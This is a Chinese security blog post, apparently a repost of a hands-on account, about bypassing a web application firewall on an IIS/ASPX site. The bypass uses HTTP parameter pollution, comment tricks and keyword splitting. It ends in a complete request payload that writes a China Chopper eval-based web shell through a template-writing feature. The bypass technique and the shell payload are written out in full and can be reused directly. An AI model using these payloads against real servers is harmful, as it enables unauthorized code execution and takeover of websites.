实战|记一次iis+aspx环境下利用http参数污染绕过waf

admin 2022年7月18日11:04:38评论52 views字数 1453阅读4分50秒阅读模式

环境介绍


Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.
waf:某不知名waf


漏洞点情况


新建模板处,可以直接写入内容到文件:

实战|记一次iis+aspx环境下利用http参数污染绕过waf


但是一写入正常的aspx语句就被拦截,连简单的输出语句都不行:

实战|记一次iis+aspx环境下利用http参数污染绕过waf


bypass过程


一开始也试过诸多绕过方法,包括各种常见编码、chunked编码等等,都不太行。
然后尝试了一下,看有没有http参数污染(两个code参数):

实战|记一次iis+aspx环境下利用http参数污染绕过waf


访问下生成的aspx文件:

实战|记一次iis+aspx环境下利用http参数污染绕过waf


可以看到确实是可以的,但是中间有个逗号,我们该怎么利用来写入aspx文件呢?
比如一个最简单的输出hello world:

<%@Page Language="C#"%> <% Response.Write("hello,world"); %>


之前我们通过测试知道<% Response.Write("hello,world"); %>这个会被waf拦截,删掉<%之后呢?

实战|记一次iis+aspx环境下利用http参数污染绕过waf


可以看到成功上传,那么思路就来了,将<%%>拆分就行,但是怎么让服务器忽略掉那个逗号呢?
自然是使用注释。
aspx是支持 “//”的注释方式的,然后我们需要使用换行,把我们的内容换到下一行避免被注释,于是:

实战|记一次iis+aspx环境下利用http参数污染绕过waf


看看生成的文件:

实战|记一次iis+aspx环境下利用http参数污染绕过waf


然后我们试着拆分前面被拦截的那个输出hello world的语句:

code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %>

实战|记一次iis+aspx环境下利用http参数污染绕过waf


成功生成:

实战|记一次iis+aspx环境下利用http参数污染绕过waf


Getshell


经过了好一番尝试,发现waf还过滤了Request等关键词,eval()可以上传,但是括号里面有内容比如eval(xxx)就不行。
参考了这篇文章里的注释符号:
https://www.cnblogs.com/xiaozi/p/7566795.html
将 eval(a)
拆分为

eval/*-/*-*/(a/*,*/)


Request就直接用加号进行连接,比如:"Req"+"uest"

最终结合hpp来利用,上传菜刀一句话的payload为:

code=<%@ Page Language = Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item["c"%2b"o"],"%2b""uns"%2b"afe")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>


这个生成的文件内容应该是:

<%@ Page Language = Jscript %><%//,

var a="ev"+"al"+"(Reque"+"st.Item["c"+"o"],"+""uns"+"afe");"; eval/-/-/(a/,*/);%>

上传:

实战|记一次iis+aspx环境下利用http参数污染绕过waf


成功拿到一个菜刀shell,当然,菜刀因为waf的原因不能用:

实战|记一次iis+aspx环境下利用http参数污染绕过waf

eval都行了,还怕拿不到shell?

加个好友

实战|记一次iis+aspx环境下利用http参数污染绕过waf

欢迎 在看留言分享至朋友圈 三连



 好文推荐  


原文始发于微信公众号(乌雲安全):实战|记一次iis+aspx环境下利用http参数污染绕过waf

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月18日11:04:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战|记一次iis+aspx环境下利用http参数污染绕过wafhttp://cn-sec.com/archives/1183186.html

发表评论

匿名网友 填写信息